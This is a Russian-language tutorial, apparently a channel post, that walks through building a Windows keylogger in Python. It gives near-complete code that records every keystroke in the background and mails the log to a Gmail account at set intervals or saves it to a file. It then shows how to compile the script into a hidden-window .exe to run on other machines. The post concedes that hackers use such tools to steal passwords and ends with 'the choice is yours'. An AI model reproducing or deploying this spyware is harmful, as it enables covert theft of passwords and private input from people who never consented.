Пишем кейлоггер на Python для Windows
Приветствую всех, друзья🥷
Эта статья практического характера. И сегодня вы научитесь создавать кейлоггер на языке Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.
Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Если вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.
Подготовка
Для начала нам потребуется установить Python. Вы можете скачать и установить подходящий релиз отсюда
https://www.python.org/downloads/
Кроме этого, нам понадобится библиотека. Она позволяет контролировать и регистрировать ввод с клавиатуры.
https://github.com/boppreh/keyboard
Ставим библиотеку простой командой в терминале:
pip3 install keyboard
Пишем кейлоггер
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Импорт библиотек
Начнем с импорта необходимых библиотек:
import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Инициализируем параметры
SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "[email protected]" EMAIL_PASSWORD = "notmypassword"
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Создаем класс и методы
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email
, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
Используем функцию клавиатуры on_release()
, которая принимает обратный вызов.
def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]\n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[{name.upper()}]" #добавить имя ключа в глобальную переменную self.log += name
Пишем метод для записи в локальный файл
def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): # создать файл with open(f"{self.filename}.txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved {self.filename}.txt")
Отправка на email
def sendmail(self, email, password, message) # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде
UnicodeEncodeError: 'ascii' codec can't encode character
, откройте библиотеку
C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\
, найдите строку
msg = _fix_eols(msg).encode('ascii')
msg = _fix_eols(msg).encode('utf8')
. Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
Сообщаем лог через заданные промежутки времени
def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start()
Давайте определим метод on_release()
:
def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
Мы закончили с классом Keylogger
, теперь нужно создать экземпляр этого класса:
if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
Использование
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Puinstaller. Для этого ставим саму библиотеку:
pip3 install pyinstaller
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe
, который можно использовать на любом компьютере под управлением Windows.
Теперь вы знаете, как написать кейлоггер. Эта информация дана исключительно в информационных целях. Мы не рекомендуем использовать ее в корыстных целях, но выбор остается за тобой.
🔥 Ставь реакцию, если понравилась статья ⚡️ Остались вопросы? Пиши - @golden_hpa